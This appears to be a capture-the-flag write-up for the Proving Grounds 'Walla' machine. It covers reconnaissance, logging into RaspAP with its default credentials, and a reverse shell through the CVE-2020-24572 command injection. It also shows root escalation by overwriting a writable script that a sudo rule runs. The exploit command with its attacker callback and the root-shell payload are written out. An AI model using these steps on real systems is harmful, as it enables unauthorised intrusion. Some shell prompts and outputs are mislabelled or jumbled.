Skip to content

Walla Writeup - Proving Grounds

Easy Linux

Created October 6, 2026 • Last updated October 6, 2026 • 3 min read

Walla serves a RaspAP admin panel on lighttpd behind HTTP basic auth. Default RaspAP credentials open the panel, and RaspAP is vulnerable to CVE-2020-24572, an authenticated command injection that yields a shell as www-data. A NOPASSWD sudo rule lets www-data run a writable Python script in another user's home as root, so overwriting it with a shell payload gives root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
8091/tcp open  http    lighttpd 1.4.53
|_http-favicon: Unknown favicon MD5: B5F9F8F2263315029AD7A81420E6CC2D
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.53
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=RaspAP
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Port 8091 runs lighttpd behind HTTP basic auth with the realm RaspAP, the web UI for a Raspberry Pi access point.

WhatWeb

Fingerprint the web service.

┌──(kali㉿kali)-[~]
└─$ whatweb http://$TARGET_IP:8091
http://$TARGET_IP:8091 [401 Unauthorized] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.53]

Enumeration

RaspAP ships with well-known default credentials, admin:secret. They pass the basic auth prompt and load the RaspAP dashboard.

With panel access confirmed, the version is vulnerable to CVE-2020-24572, an authenticated command injection in RaspAP. The built-in web console already runs commands as www-data.

Exploitation

RaspAP command injection (CVE-2020-24572)

A public exploit, raspap_pwn.py, authenticates with the default credentials and injects a reverse shell. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python3 raspap_pwn.py -t $TARGET_IP -P 8091 -u admin -p secret -i $ATTACKER_IP -l $ATTACKER_PORT
Explain command
-t Target host running RaspAP.
-P RaspAP port on the target.
-u RaspAP username.
-p RaspAP password.
-i Attacker IP for the callback.
-l Attacker port for the callback.

The listener catches a shell as www-data. Enumerate the home directories.

┌──(kali㉿kali)-[~]
└─$ id
┌──(kali㉿kali)-[~]
└─$ ls /home
┌──(kali㉿kali)-[~]
└─$ ls /home/walter
uid=33(www-data) gid=33(www-data) groups=33(www-data)
janis  paige  terry  walter
local.txt  wifi_reset.py

User walter holds a wifi_reset.py script. Check what www-data can run with sudo.

Privilege Escalation

List the sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
Matching Defaults entries for www-data on walla:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sb...

User www-data may run the following commands on walla:
    (ALL) NOPASSWD: /sbin/ifup
    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py

www-data can run /home/walter/wifi_reset.py as root through Python, and the script is writable. Overwrite it with a short payload that returns a root shell.

import os

os.setuid(0)
os.system('/bin/bash')
┌──(kali㉿kali)-[~]
└─$ echo -e 'import os\nos.setuid(0)\nos.system("/bin/bash")' > /home/walter/wifi_reset.py
┌──(kali㉿kali)-[~]
└─$ sudo /usr/bin/python /home/walter/wifi_reset.py
root@walla:~# id
uid=0(root) gid=0(root) groups=0(root)

os.setuid(0) runs under the root sudo context, so the spawned bash is root.

References